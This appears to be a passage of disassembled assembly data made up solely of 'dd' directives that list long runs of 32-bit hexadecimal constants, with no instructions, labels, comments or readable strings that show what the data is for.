		dd 0F3744E9Bh, 2EA84AE3h, 6A1140ADh, 4D79DC1Eh,	11A6EE5Ch
		dd 0C41604C7h, 57528C78h, 50E35454h, 12401E98h,	6A133B05h
		dd 0D3404F1Eh, 3129F03Ah, 279AD39Fh, 4C52E6DEh,	2DE927A5h
		dd 0F98BFDE2h, 41C04A42h, 77949FAAh, 1D63C483h,	7005F27Ch
		dd 442D041Dh, 8218D75Ah, 4E7471B8h, 0BE6626h, 0A03B7B05h
		dd 5A4FE925h, 83559760h, 6ADB0BC8h, 0AC94FE00h,	5CE9E2A3h
		dd 0F69954Ch, 0F630CCF3h, 9A47714Bh, 66390168h,	0E6C730E2h
		dd 58E328EAh, 29D80ABFh, 0DEC43812h, 0A0D8B2AEh, 974A39E9h
		dd 0FB907068h, 0F7B73A9Dh, 1438346Ch, 0CAAA4ABBh, 89EC5A0Dh
		dd 0FFCBAD85h, 8A2FF739h, 0AEBC5068h, 8B02D782h, 59C66DD1h
		dd 0FCD210BFh, 7A8B970h, 0F9A05E8Dh, 0B7801CD8h, 2F4FD368h
		dd 422D9830h, 0E97017D4h, 41CCA094h, 2FF18105h,	3D81362Ah
		dd 0BE000DAAh, 63D35B1h, 16D51655h, 31125ED0h, 5F937BC8h
		dd 54EF813Bh, 17F22E58h, 7A6CF0E5h, 4F401C1Fh, 84F4F68Eh
		dd 84FE740Fh, 1E5C21Bh,	0E4285061h, 7A97FE31h, 28C0B57Fh
		dd 1C9DCB0Ch, 9EFC9738h, 9AB87864h, 0DEBE5E31h,	17BF0072h
		dd 45EC2D5Ah, 1B76CC42h, 89983E08h, 9CDF7B99h, 1FF69744h
		dd 0CB5177F2h, 0DF542B4Bh, 3A0C1A80h, 0BD356BF4h, 47170B08h
		dd 0FD016B04h, 0EAEDCFC5h, 0C5685F05h, 0BC31AA51h, 317A46CBh
		dd 6B0DBFB6h, 0E35A8B8Ah, 0D8632739h, 94DF972Fh, 18CC02A1h
		dd 0D5F7346Dh, 300935D0h, 62CB92E7h, 10C000DBh,	0E268C31Fh
		dd 551E62C6h, 2D05DFCAh, 4D8A8F80h, 3DD04829h, 54482209h
		dd 5EE1003h, 0A22FF201h, 0CE314D88h, 0A63EA860h, 0BF70F0A4h
		dd 0EEBDC080h, 130D4C29h, 9205EDC1h, 0C0EDB87Bh, 0E9FD87EFh
		dd 7311519Dh, 8E101C9h,	3B737A83h, 0F5CA6CA6h, 0BBFA1140h
		dd 5CE7CC9Fh, 33855E5Bh, 77F54481h, 20C2345Ch, 665200C9h
		dd 6E74D5BAh, 9CA810Ch,	5C120B4Fh, 0C34F9E7Dh, 7C0E5F4Bh
		dd 56F1793Dh, 0B3413AAh, 1A7D01D1h, 3BFADF3Ch, 0A4FEC38Ah
		dd 7460F751h, 5DA48BAh,	31775F89h, 0BF3E5946h, 2A82A427h
		dd 0C0664B9Eh, 0F4363C7Ah, 3079CB3h, 0B216858h,	8922EF10h
		dd 16CFA74Fh, 41CED984h, 9608547Eh, 88C313B0h, 0D5B4CDC2h
		dd 745C2877h, 49665A28h, 0A1D83520h, 177EA7B5h,	0C227EE89h
		dd 0F5EFEEA2h, 0B0B99920h, 1F487928h, 0C5C62DE6h, 41AAC8Ah
		dd 0F1351286h, 395E323h, 0BEE1E908h, 3EF2718h, 1E5D5C96h
		dd 2FDBA52h, 0D731269Dh, 0FF021B56h, 57343C0Ah,	25082728h
		dd 655FE719h, 0C6442E5Bh, 5C043F45h, 291EFFEh, 2F72C8D1h
		dd 6046405h, 4A4DE816h,	601F87ABh, 40CA2944h, 0A47A74B7h
		dd 0D0B40FFDh, 0F6EEEE0h, 0A8DF0DFCh, 7D622A85h, 61B99BBh
		dd 17800C0Bh, 0FA49C9E9h, 5C103C59h, 5FB6C022h,	48DAE680h
		dd 76FB9C0h, 0D0BF626h,	20EFE925h, 1DA8F73Fh, 0B0645E7Bh
		dd 0B31705Ah, 0AE86EE67h, 0A9C62593h, 0EC7726Bh, 0BB75FC9Ah
		dd 78AAC580h, 0EB4E4EC4h, 0A167D24h, 178F8201h,	39614725h
		dd 680781F6h, 923C70EBh, 0D448C4C0h, 791E0523h,	0C4A6F934h
		dd 0B072D14h, 10F29AE9h, 2C1BBB67h, 135846h, 64EB4059h
		dd 0AB590EE9h, 81D63E8Bh, 4A463DCEh, 28824E10h,	0B65ADE7Ch
		dd 0FE606E42h, 54BF3AC1h, 4808206Bh, 6485775Eh,	0D2F4BD44h
		dd 0E1295121h, 2F77A96Dh, 5C74E403h, 0F2EE5EE9h, 85122A58h
		dd 0DBEC07C4h, 103E2A0h, 160BC380h, 94716E2Eh, 4D0814BBh
		dd 2999510h, 0FD07C22Dh, 0AB567766h, 7DC54613h,	5F42DEFEh
		dd 8A12A5F6h, 4F6CE97Ah, 0CA58A0B2h, 0BE2FE881h, 6062F47h
		dd 38B98B8Ah, 0A0AC37C5h, 0FAF51ED8h, 0AABAB016h, 0C766980Ah
		dd 10B72A8h, 0FD07762Fh, 4128CC01h, 0EA852009h,	1688680Bh
		dd 45825F57h, 696CBF37h, 8084FB5Ah, 0F287E905h,	0AF3A21FFh
		dd 377A736Bh, 84F9B852h, 1181191Ch, 0F02F0F39h,	734A65E2h
		dd 0F49345B2h, 5C4082CBh, 4E60EC5Dh, 2B6E613Bh,	0E5CC7A05h
		dd 6DA0B7D7h, 7F1887EAh, 0BD1FFA4Eh, 9BA87B93h,	8745A94Fh
		dd 6831F9F7h, 216E1DB9h, 81B3FD88h, 5C8BCA49h, 0C9D62C5h
		dd 24AF85EBh, 8E940151h, 67714664h, 0E9D7057Bh,	4CA41534h
		dd 0BA6C4048h, 425E0800h, 95F28114h, 72BB3101h,	0EC0D8056h
		dd 0E230C12Ch, 100B1207h, 0C83960AAh, 34625A1Fh, 846836C1h
		dd 0C9684B4Dh, 0E864BA4Ah, 0C557E2FAh, 39EBC36Fh, 22BA2E8Ch
		dd 6E575ED3h, 4D33FCDFh, 6810216h, 6E1F9912h, 800DEF86h
		dd 3703A584h, 50AE0A5Fh, 0C13CB414h, 0B29004ECh, 2A4D5748h
		dd 0E891C42Ch, 226D5101h, 0FF775F39h, 8F8B3725h, 275B47FDh
		dd 40C11277h, 2868D4EAh, 58863220h, 0B561BA01h,	0E150EE29h
		dd 0A132A9Eh, 91FF04FAh, 9FC1F805h, 96F085D2h, 0BA7CBF58h
		dd 0CF3A9AC0h, 0DC70C27Dh, 1405271h, 4E1203E5h,	281D0BA7h
		dd 49F951A7h, 84664210h, 0BD79D397h, 57DA6E96h,	8E32FEA8h
		dd 0CBD45756h, 112BF60h, 5580762h, 6ABB1988h, 47592FD5h
		dd 0DF01A2A8h, 0E91E6C59h, 0ED10A07Ch, 675C72FCh, 0C8362F61h
		dd 184EE5F0h, 387DB92Ah, 19252846h, 0AE4B5E11h,	86D0081h
		dd 0BE94133h, 6D8C9E4Ah, 13B2568h, 0A8DFD398h, 84FA6DB7h
		dd 0B4B840E9h, 514E4BC1h, 0E9C274A6h, 0BF514005h, 39B20925h
		dd 122A21BBh, 1EA6EE48h, 0E65CA504h, 0AB0FC23Ah, 571F2465h
		dd 0D72CA40Bh, 6C5B5D93h, 0E5C86B4Fh, 5404CAA9h, 43B9C4BBh
		dd 0D57A9206h, 0DEBD9208h, 10F7F26Fh, 1797682Dh, 457610Fh
		dd 0A3C3FE78h, 749813FDh, 67856623h, 0E9ED786Dh, 669B9877h
		dd 1EBA3C36h, 0B828EA5Fh, 80D85FF7h, 5BA41E8Dh,	18A07595h
		dd 2F077514h, 47081598h, 61FF360h, 3CDDF0E9h, 2F26CE95h
		dd 1DD3C442h, 25685360h, 380A0745h, 3FD9315Bh, 0C1F2BA52h
		dd 40E13685h, 7AB95162h, 5318BB67h, 0E90B7EBFh,	0D4195E4Ah
		dd 59A0C080h, 31097355h, 18057E68h, 0FF88536Fh,	0EA5BDEC8h
		dd 6A50BD33h, 50125CBFh, 2C4B3468h, 5863B831h, 0D4CF4E28h
		dd 0BF7C0072h, 0A982DB30h, 75EF0125h, 0E8A0BC45h, 141FF02h
		dd 78ABE9FDh, 0F1594C89h, 316AE605h, 11CAC771h,	0D8171445h
		dd 2018A3CFh, 640C25B5h, 1B6F041Fh, 0E36B7668h,	5E1306DEh
		dd 1F6233Fh, 0DCC0A1EEh, 315BDF01h, 0F5D0EA4Bh,	68043C96h
		dd 8FFA2ED5h, 9C5450E2h, 1E700FA4h, 7939D127h, 0EF5525B4h
		dd 2FDC2F17h, 8B3D3C26h, 41D4E910h, 0EE2F5FA4h,	0B45AF92Eh
		dd 0A09DE6A6h, 59EEC2A1h, 1E82B52Dh, 20C04125h,	4A120705h
		dd 0C50C678Fh, 7ECF2D5Ch, 572502ABh, 4897DFF7h,	307451F7h
		dd 0E351827Eh, 16753548h
		dd 0ED187C97h, 2564AF8Ah, 8B6A3649h, 0A3E90801h, 9100326Eh
		dd 2E267EA8h, 685058F0h, 301A5F87h, 0B2437800h,	9D2DDAB0h
		dd 4B51F98Eh, 4FD766FFh, 2D05EBA4h, 7AAF989h, 0D2435FDCh
		dd 45B30312h, 75254B7Eh, 5CEFD26Dh, 0C73459DEh,	0BACEF46h
		dd 33C0818Eh, 9C8E8E6h,	2EEC1292h, 24726C97h, 71EA234Fh
		dd 7E99A458h, 0F5906216h, 255E88EEh, 0BF201051h, 70F85A9Ch
		dd 38464E3Ch, 0E47509F6h, 0DE1250B0h, 0DCEBC206h, 0FA771C0Bh
		dd 170C4A93h, 8380FFBCh, 502F18B5h, 0FCAED405h,	11B3FA2h
		dd 0D7270158h, 0DC6CA012h, 957558B7h, 6667AB79h, 0F4B948EBh
		dd 0D17F82C1h, 0C51177Ch, 0F947AF11h, 0EDB7B3B7h, 14BF25E0h
		dd 814D461Fh, 0A4F71B26h, 0D3E31724h, 52DD8F0Ah, 9268BB4Eh
		dd 905BC37h, 827FEDD1h,	87C2804h, 419C5017h, 0A87F329Fh
		dd 0F4028EC4h, 0E01C252Eh, 2D294C92h, 8ED01982h, 820E912h
		dd 0F911DDF4h, 0A840F321h, 5BF476E5h, 178EA83Ch, 70E80DE0h
		dd 6906F5C7h, 628BF851h, 0DBADD92h, 0C4A0F9FFh,	0B8E9425Ah
		dd 0D48F5F0h, 121630C2h, 24803AF7h, 26B5C7AEh, 0A76754E9h
		dd 627AFBD9h, 0C44ED568h, 936A8D4Dh, 0D460CBCDh, 303E41CBh
		dd 43171A1Dh, 0A6BC317Eh, 0BEC91416h, 1CFCAA89h, 0C926698Eh
		dd 6252735Dh, 40F001E9h, 36E2369Dh, 0D0C0EEE9h,	2D405FECh
		dd 0BDC23880h, 8F5AD41Dh, 84C5F4C4h, 0BE0DF491h, 0AC4F1D43h
		dd 668E1D2h, 0C402E87Eh, 48F4D87Ah, 0C46100A4h,	66810D60h
		dd 403A35E8h, 680805C1h, 6B8D6D9Dh, 26A2140h, 0E12EE551h
		dd 138368BDh, 43E86CE9h, 0BE995Ah, 0A87B2BCCh, 97C4E5Ch
		dd 78D6E903h, 68550AE2h, 0A05E4883h, 4ACA01F6h,	0EF817D5Bh
		dd 7647B001h, 20D3685Ah, 89243121h, 0CBBAFAh, 93269C35h
		dd 53E91C1Eh, 0F1D62FD3h, 505E5458h, 3148EE50h,	0F13ABD16h
		dd 700DAD4Ch, 0B69CE8h,	0E914CC28h, 229F3CE1h, 2AFD90Eh
		dd 0A28F77FFh, 0AAA42AA9h, 0CD82EE47h, 915505BFh, 203F6717h
		dd 0C60AEA0Ah, 0EC6BC03Eh, 1CC0908h, 63493BB9h,	8FECE86Dh
		dd 2DAD14C5h, 4469C1E9h, 0FA5D2DCh, 0DBA38B4h, 7A230149h
		dd 1072E981h, 0F1974179h, 0DFEED862h, 28EE514Fh, 2F045F35h
		dd 5C310F3Fh, 0E961C8AAh, 20F7922Dh, 0E64B899h,	4A3FF612h
		dd 1A114B4Fh, 0C328DEE0h, 2A356816h, 0B22698A3h, 674E1246h
		dd 757F93E9h, 69F8124Ah, 875FF8C2h, 0A39064CCh,	81E52E30h
		dd 1746D0F3h, 0AA537B28h, 7947CDDh, 0A604A75Bh,	0F071B332h
		dd 8A2C2CBh, 0DD6BE9D9h, 682DBB9Ch, 0E92C01A9h,	0DD2BED0Dh
		dd 8B2D3A13h, 0BE77043Eh, 9244BCF1h, 2493ED09h,	0D9AA89DAh
		dd 0D8293EFFh, 4D25FF01h, 88B86603h, 0B50151CFh, 80D5F648h
		dd 0EDCC7CC5h, 100CCE44h, 7211F812h, 4AA2F552h,	805E5DE3h
		dd 467E72C3h, 55D7803h,	0D4100298h, 1ADE84EEh, 0E6039707h
		dd 0EA84AD4Dh, 68B0C1FCh, 0C6BD59CCh, 2CEEC8EAh, 0FDD02F3Fh
		dd 0EBFC128Bh, 6FE3C05Ah, 0F8DD5F3Eh, 0D6B35A4h, 9244F2FFh
		dd 23A8DEAh, 42F7FA93h,	0D77C7DA3h, 0B7E12558h,	0B5BB8AF1h
		dd 9DA81A93h, 5620B858h, 2CD02817h, 0E2F34904h,	0C960AE12h
		dd 0BFC903E7h, 3E32D740h, 16F4A0Dh, 8061CD1h, 5A14811Ch
		dd 114D5F30h, 512B2942h, 9AD7E893h, 0C1EAFA4Eh,	8AE51A2Fh
		dd 0A90429A0h, 8B527DE9h, 72445697h, 14047C0h, 0A24C5828h
		dd 5D217E39h, 2EC60285h, 77FE8CEFh, 0EC4C78C3h,	6DA29640h
		dd 1E0EBFC0h, 0B8C13427h, 180D5FD1h, 4C73EE28h,	4927D3FAh
		dd 37740509h, 0D53B40D2h, 1172E30h, 0D99A080Ah,	1068F725h
		dd 14B52784h, 0F904B73Fh, 32BA00F0h, 0F435AE8Bh, 1A14B512h
		dd 4132609Fh, 0E1367168h, 8074BA3Eh, 32909201h,	0F1E80BD8h
		dd 0E26426E9h, 14F7623Ch, 3117BAC7h, 0C03017AFh, 738D25DDh
		dd 4807FF01h, 0BCAFFD05h, 5827C76Ch, 0B109D8F0h, 5C752C1Ah
		dd 0C8E62DFCh, 902B182Dh, 558E6831h, 0BFE1406Ah, 0D5FEB42Eh
		dd 5C1338BCh, 97E51461h, 54775A02h, 0A2985C50h,	0E47EFD41h
		dd 3717D936h, 0F0F04776h, 765F81CAh, 82655076h,	0E60B7F92h
		dd 426C680h, 64AEC055h,	0CBDDBE96h, 88AAF02Eh, 79A8425Bh
		dd 6AB945B1h, 0D9930733h, 77301297h, 376AE799h,	81D80536h
		dd 0FC74B54Ch, 209D65FBh, 814D0772h, 4876F6EDh,	0DC399523h
		dd 2B7F41CBh, 0FC086A7Ah, 318029A9h, 0F77CD5D8h, 0BC38277Ch
		dd 0F0912FAh, 0DF54101Bh, 1208DDA8h, 8748085Eh,	4CDE2500h
		dd 612D1A49h, 9706A657h, 0A6E9C847h, 14297A4Ah,	36176928h
		dd 0F5E9AC31h, 2512CBEBh, 0F7FC2599h, 0B13AB2FBh, 333B2E2h
		dd 64BD680Bh, 0B5F3825Eh, 53F0B030h, 0E96B16B7h, 0F14AC4B5h
		dd 0DFB22ADAh, 287A3D8h, 2025949Dh, 202E5DA7h, 8B271DC7h
		dd 0E2365DAEh, 0B581E3FAh, 0B48EE131h, 668D2CE8h, 0D13442CBh
		dd 26DEBF00h, 0D78AA1A4h, 39C7DE70h, 0AACA6562h, 0DAFFD6C4h
		dd 0C3680A37h, 3FC2B114h, 0D993FFB8h, 381BBDC1h, 0D6B2D3FBh
		dd 90E3BB93h, 7C5C54CBh, 89F27B14h, 0D6330487h,	0F02A2D00h
		dd 55976B03h, 0DF4A6D02h, 55497A5Ch, 0DEE989B8h, 0F0937E54h
		dd 37DD2D03h, 0B55E25E8h, 907DF2A9h, 0EA022064h, 37F6BD04h
		dd 5C834508h, 4ABA4A0h,	32264Ah, 0B5C60540h, 0B3D74AC7h
		dd 38809470h, 0FA8C13E7h, 0DE9B1FBAh, 606486F7h, 261C0C16h
		dd 0DCBF556Fh, 0E2D95EB2h, 0F7016ADDh, 817F20DDh, 79754C02h
		dd 4005E3C1h, 95E4411h,	0DD01CE68h, 0BEF5604h, 606F0E29h
		dd 56B850F1h, 3BFE0109h, 0BE3A5A25h, 0F2B07F1Ch, 0C50D4840h
		dd 2D54EB0Fh, 0E599C142h, 0F5880D70h, 322E955h,	355E25E6h
		dd 3CE42A71h, 2C2EDB00h, 8B955F06h, 2CC41683h, 2535651h
		dd 7B6A2392h, 98601EEAh, 0DA6206D9h, 99791C6h, 8C40DDE2h
		dd 0F35830ABh, 0B95A7FEAh, 0E4F97414h, 1231A6AFh, 0A873E9h
		dd 0F461FD5Eh, 64D256F3h, 60F68CC2h, 7760D141h,	0F0F60EC2h
		dd 0D54F6931h, 45488DC5h, 0AF44FA98h, 0A05E4C71h, 0B45E8704h
		dd 8974A3DCh, 353ED75Ch, 543AC925h, 95DC996h, 2E47D297h
		dd 9838DC54h, 423DCEFh,	6C7D3A27h, 8C90B7F9h, 679E35E9h
		dd 8E2C105h, 0B7F1B506h, 36E024CBh, 0DB56C6F2h,	1F8BD99Dh
		dd 6AD80A9Ch, 424903ADh, 6DD02D48h, 8BB7B31Ah, 52C7775Bh
		dd 0B5E6E905h, 37828437h, 274BE425h, 63450BA8h,	1CFBFA25h
		dd 2562C268h, 79CB965Dh, 54C4257Fh, 882C6F2h, 0EC8ABE04h
		dd 4FFD4A7Eh, 740457C9h, 0D5655F45h, 7BE3781Ch,	5D89D2ADh
		dd 0F6752232h, 0BD7A7212h, 0B09C29AEh, 3BC55752h, 68D182A7h
		dd 27DC7584h, 3F83263h,	0A9C38010h, 0EBABF328h,	26B0ADACh
		dd 33A35779h, 0DAA7F7AFh, 83A90260h, 33289C80h,	29765775h
		dd 5D080682h, 645F0FF4h, 0CDA01AC4h, 3F0E1D29h,	5F3D4295h
		dd 2AE8CBE6h, 0F0736B24h, 21224C60h, 0B4E9354Dh, 364BEA91h
		dd 3F02B5Bh, 12CCF26Bh,	0EAF76648h, 0B8124D44h,	0C9D98807h
		dd 0A5C10983h, 0CA02F19Bh, 0E9C828CBh, 0DCB2EAC6h, 549F82B5h
		dd 9C6070EEh, 832C6E06h, 7A270178h, 1680E33h, 5D8F274Fh
		dd 0E92CA489h, 906960Eh, 0C5295873h, 5FEA7A06h,	2740F921h
		dd 0A7105102h, 0CB6F1754h, 0F1F8FEh, 0AE3679B8h, 26684067h
		dd 38CC695Bh, 300B4A6Eh, 61083C9Ch, 0F3174978h,	144041E9h
		dd 0B706052Dh, 15F1E2Ch, 36F902C8h, 9D513F4Ah, 0AD3E474Bh
		dd 70430D56h, 939A4CB7h
		dd 0BD990313h, 2600D37Fh, 10EE728Ah, 0D26D27E9h, 5572C056h
		dd 0BEB079FAh, 0EE94A095h, 7B054C8Bh, 0AAD23879h, 25F6F65Fh
		dd 0C809595Ch, 78EB803Fh, 29613C08h, 40BACB48h,	0FB480108h
		dd 6C64120Dh, 26C1C7B8h, 6B7B164Dh, 701680B6h, 0C367BC08h
		dd 452FD5Bh, 441E6450h,	0E407FA35h, 0C9438147h,	56A00732h
		dd 639D3BEh, 0B704CE34h, 460BAE53h, 37D0E8C4h, 725BF2Dh
		dd 1F053CD4h, 0D4341507h, 0A6071224h, 30B11036h, 0D14563Bh
		dd 0E68195A4h, 72385373h, 0C1263AC3h, 0C23B8C61h, 0BF00779Ch
		dd 7A7E3A4Fh, 39BA2A66h, 2DDE947Eh, 0A384702Bh,	2D74ABF5h
		dd 9D5C5BB3h, 7FC181C0h, 4C4F322Ah, 1D4CC4AFh, 83154C08h
		dd 5E5BF36Bh, 639E21FFh, 927778BCh, 1B3BFA00h, 979270E3h
		dd 0C0B3D783h, 0CA252203h, 0E2584140h, 0C805C0D8h, 0D7917A03h
		dd 504AA024h, 5FE88839h, 0F5DD6881h, 0E7D40104h, 0ED19C50Eh
		dd 17C26AB7h, 0A6866587h, 0BEDDA545h, 45F6954Dh, 0B0F1F758h
		dd 2D0FB4A2h, 19EC8DF1h, 0BF0F265Ch, 651F1F31h,	0A1D82F1Ah
		dd 129C5759h, 0A9035B5Dh, 7050A03h, 537ACD4Ah, 74E8CB09h
		dd 0E1267957h, 8F02B965h, 5FD8BAADh, 3D89C58Eh,	1C105A65h
		dd 0BBCADF17h, 4F18B7CCh, 14DD41A8h, 2B439739h,	3D5720FAh
		dd 4C76833Ah, 47CCF605h, 0D9001C53h, 6D2E7F97h,	490527E9h
		dd 0C8889D9h, 0D7680555h, 0F128FA50h, 973EA058h, 6C5F812Eh
		dd 7C2C0569h, 4F80A91h,	0C8087E13h, 9D205BDAh, 0DEB5030Bh
		dd 0CF31763Bh, 27D6CEBBh, 4530ED05h, 18B3210Bh,	4D70AC60h
		dd 0C0B54772h, 807B491Dh, 93908F66h, 7AF1CB4Bh,	54A38B2Ah
		dd 2B4FE904h, 0DAAE6E85h, 1632595h, 71B1516Eh, 0F6EF2960h
		dd 29E34FAEh, 0A0800892h, 93B2C25Ah, 7C02BBE1h,	260CD26Bh
		dd 7EA3178h, 5C9E6745h,	31E2704Ah, 2B60912Dh, 41DCB31Ah
		dd 4B6EF310h, 0A772059Ch, 4DC58595h, 0E88BB792h, 2CF56851h
		dd 1765E75Ch, 0F6A09032h, 4E3D05B5h, 0DD49671h,	0FC1026E2h
		dd 81915A7Fh, 0C000313Ah, 51B505E6h, 5CF9274Ah,	561D3364h
		dd 5A188217h, 9F253E58h, 0C291F4F9h, 3C2452D7h,	0FB8504h
		dd 0DF04A2BDh, 87039577h, 6E0BBB1Dh, 74DA685Bh,	595462D8h
		dd 93711655h, 4D980066h, 10E96B12h, 48162363h, 1586BF93h
		dd 15D0B0Eh, 7C0751D7h,	0E5FF0B12h, 0EEA2B490h,	3E48FC60h
		dd 816A145Fh, 0EB5806F3h, 9E8BDA2Fh, 6474C269h,	0DCBD5F96h
		dd 0D977585Fh, 24D1CCB7h, 9A3B86BFh, 0B32FD0F7h, 0DB58025Dh
		dd 1582CE09h, 5706E88Fh, 0BB2BD9Dh, 5B35EDFAh, 9B019229h
		dd 4AA038F8h, 5E70C7E5h, 0A38175F7h, 0DA0C020Bh, 5E707277h
		dd 0B16B44D9h, 0E9018349h, 0EF072A9Bh, 0A777CBFEh, 205C2E8Ch
		dd 0B6A16C29h, 1C1E69B6h, 7BC28102h, 0D533EB25h, 0A62CFEF9h
		dd 8E77627h, 680BC14Bh,	0DFA47714h, 7A7BB24h, 7A6EE580h
		dd 982DE952h, 0B0CCCEBDh, 0A8B6224Ah, 3FB2F7A0h, 0B14FD825h
		dd 0C52F57Bh, 7C77120Ch, 0B47D5ABBh, 60E02D87h,	59668EB8h
		dd 34B0779Dh, 0DF95B2B3h, 0F5093FAFh, 0A6EB90E3h, 92FC1B4Eh
		dd 0F05E525Eh, 3A27688Ch, 29CC62Eh, 2604425Eh, 0B180EFC1h
		dd 0FA27A6E7h, 0FA4F5025h, 4A600F7Ch, 0EFE0130Bh, 128B49D7h
		dd 762F1FBCh, 786659E6h, 0B7530006h, 1ACF8061h,	0E7D5E7FEh
		dd 0CEBBAA89h, 0A1F575A0h, 0CD4FDFF2h, 14C7AA7h, 262AC00h
		dd 4FE18128h, 1208543Eh, 0C8AAD9F7h, 84B8559Bh,	0F1745025h
		dd 0BE7542B8h, 7A586801h, 0FA5B8E51h, 545EDE2Ah, 0D141D591h
		dd 0E0172768h, 0C8F0A2B6h, 0C05CC102h, 5DABEBE0h, 0C7885FC0h
		dd 2740E930h, 161FCC68h, 0D85A2A4Bh, 7E1496C1h,	14C169A4h
		dd 2B34F03h, 0CBB58E95h, 1420509h, 1829F9B4h, 4FC82015h
		dd 6AA85707h, 61DC48E9h, 8C224D4Eh, 0F4AE889h, 7AABA7A0h
		dd 0F59D6894h, 0C05D5B2h, 1682AF58h, 25FB5EA7h,	757A115Ch
		dd 6885AED1h, 9EF83693h, 55AFDCB1h, 0C215408Fh,	1E184336h
		dd 3B510CC1h, 0B17AB146h, 0A85520A9h, 1F062534h, 0E90CA4ADh
		dd 0F58FF04Fh, 0E6407812h, 0E556A904h, 0AB1A40BBh, 0FECFB050h
		dd 0C862C072h, 0C9BEE904h, 42DA5B36h, 97A26C67h, 4EBD2ED7h
		dd 8C38DD8h, 0C4C3C27Ah, 25018BE9h, 0DCF22B7Eh,	4A0DDE10h
		dd 0B9230B8h, 0DC10970Dh, 333E99C9h, 2FCEE09Fh,	9FE331EAh
		dd 14B16040h, 0D928BB95h, 0B33BF6C6h, 28B9F71h,	0E2EEDFECh
		dd 387EDA59h, 0CC98DE5Bh, 0FFE02535h, 0EC3EDF5h, 0BA16E79Dh
		dd 0A84BEECEh, 0B085C472h, 3F17EF10h, 6FDC3751h, 138059E6h
		dd 95FFB1Ch, 59F91C92h,	51F56589h, 0C106AF9Bh, 52078DDFh
		dd 9C685556h, 0E14EAEF2h, 2F7DDC2Fh, 49DEE128h,	207D3BF6h
		dd 4F38B3ACh, 986C2768h, 2C3BF1CBh, 2A661A5h, 31D45274h
		dd 7701877Ch, 78E90603h, 77216974h, 0D77025F8h,	0E94F7274h
		dd 2D5BD222h, 1BDD5FF9h, 0E9D6AA39h, 0EBF4DB6Dh, 83CB1FA2h
		dd 42BA4DB6h, 0BC17EF87h, 7CF8A58Dh, 0C508DF8Eh, 0F305FA25h
		dd 6485C579h, 0A32AB8C2h, 58C9EFD9h, 0A7B402ADh, 8003ECC0h
		dd 0B2520340h, 0CA3E3776h, 0BCAC4B12h, 0C7DDB11Fh, 0CA305EF1h
		dd 17853FCAh, 0BAEEEFE9h, 17072C4Fh, 0B38585EBh, 3AA86259h
		dd 4C506130h, 0AF6E133Ah, 5E7F7E8Ah, 3521C0D2h,	72001B0Ch
		dd 0BC61057Ch, 50012238h, 40166AC1h, 0D8E05939h, 7BF22C2Eh
		dd 0E97DB3C0h, 8232B90Fh, 5EDA48F1h, 31818DC5h,	7DE3E9F2h
		dd 48538B6Fh, 1E167844h, 0CB086434h, 6FBD0191h,	0E87C065Bh
		dd 0E6B5A199h, 0AC664E6Ch, 0AF198431h, 4A240216h, 0E0875238h
		dd 0FE00F8B9h, 0D6F280CAh, 5AD30930h, 0B15EDA88h, 974A7558h
		dd 29C000F9h, 56857D8h,	456C5316h, 6F02EB5Fh, 0D49EB2E9h
		dd 74CB89FAh, 6865E0D4h, 455D65D0h, 53D507F7h, 8554EDBBh
		dd 0EBD0FA31h, 58140FFAh, 24013B8Ch, 2930D840h,	127721DDh
		dd 7241FD08h, 5DBE0033h, 36C60038h, 782BEE81h, 52BF733Fh
		dd 9FEC29A2h, 0B8EA1242h, 2ABA4AEBh, 0EFF94EC9h, 140128h
		dd 9D5416EAh, 6272E95Ah, 0B962A89Eh, 64327663h,	5A76BD9Fh
		dd 0BF5B5F8Fh, 5E58E549h, 1FE978CDh, 920ABCE5h,	880E663Eh
		dd 0FD051395h, 4EFACB07h, 0FF1222E9h, 0E9125FE7h, 0AAE38546h
		dd 0C41B7ECEh, 76B3DB4Eh, 5D667413h, 5B091071h,	191DBB00h
		dd 8331350Bh, 0FD4F0C3h, 185378DBh, 93E9FB41h, 6FFC6BF8h
		dd 8C93948Eh, 0DB4041C4h, 6DF10A81h, 3ED4FE47h,	14490318h
		dd 9B27A830h, 832BFDBDh, 66ED1877h, 17E173F7h, 0A2403168h
		dd 6DBA1013h, 0F3873E7Dh, 1011645Ch, 0C8C202B0h, 40F4F195h
		dd 7F6D5AAFh, 1EE92A03h, 0C9C49FABh, 9D3F2A20h,	1B09807Ah
		dd 53555168h, 0AD6C0C81h, 4EB531C4h, 0C07D3833h, 0B78FFC5Eh
		dd 0BEF0D095h, 1C64070h, 580D389Dh, 67532B68h, 0AF8E0898h
		dd 4B645C12h, 0D0899AEDh, 0A458B22Bh, 0F78F920h, 0BBEBD66h
		dd 0AC46ED25h, 52E3C0C4h, 4FF7623Ah, 2469B8DDh,	8709E506h
		dd 7621307Dh, 58980178h, 0CCE95F53h, 9EFC7DCEh,	0CFA0BB96h
		dd 0E7A9CC1h, 0EB167A8Ch, 948D9CFh, 30911310h, 62082658h
		dd 155147Eh, 0B5148FF1h, 177F2190h, 0FF7138A5h,	0E241291Eh
		dd 95C7B2Bh, 3528F22Bh,	41EF5BB9h, 677D8A7Fh, 22FF3B65h
		dd 22D55B8Eh, 7402835Eh, 0F5296FF0h, 0E797F4D8h, 708AA4C4h
		dd 2980B0D6h, 5B899EF2h, 0E47FCBFFh, 6A7C059Dh,	0BD2910C6h
		dd 3C0C9099h, 7DCDD05Ah
		dd 4F2A6016h, 5552BDA0h, 3B8209BAh, 3A3D685Ah, 180E4484h
		dd 4ABD2B2Bh, 6B80BB30h, 48E0CF55h, 99056395h, 0FF449064h
		dd 6C5C9900h, 2DE97B31h, 1175F0FEh, 9A6FD59Bh, 0E1375EAEh
		dd 55245BB0h, 3D88BF4Dh, 6F6C2707h, 309A990h, 422DF5Ah
		dd 8800A60Dh, 305966EAh, 285BDA12h, 0E8078B1Ch,	6027F204h
		dd 98C557E9h, 0C09A7EADh, 2F621709h, 8BBC195h, 0EEF00FA7h
		dd 805C85C2h, 9DC763C3h, 50C0C3A8h, 6FB615B4h, 0D07CE925h
		dd 58EE9FECh, 6BC95FAh,	89D1310Bh, 89F5D6E8h, 0B2D74A90h
		dd 0BCD44050h, 45E62F4Dh, 881F2DAh, 7AF83B5Fh, 6E23E9E1h
		dd 0D0F59240h, 0DD194D45h, 0EB17B060h, 0E62C078Fh, 10408B1Ah
		dd 9096C6EAh, 3FD09FEh,	0E2FD19EDh, 40080BDBh, 2D7CA49Fh
		dd 0EF631558h, 9641D69Bh, 61CB3F0Bh, 17DF010h, 59CF315Fh
		dd 0D4D1814Fh, 0EC4CFEDCh, 60531CE7h, 0ED2E404h, 0AA17BE92h
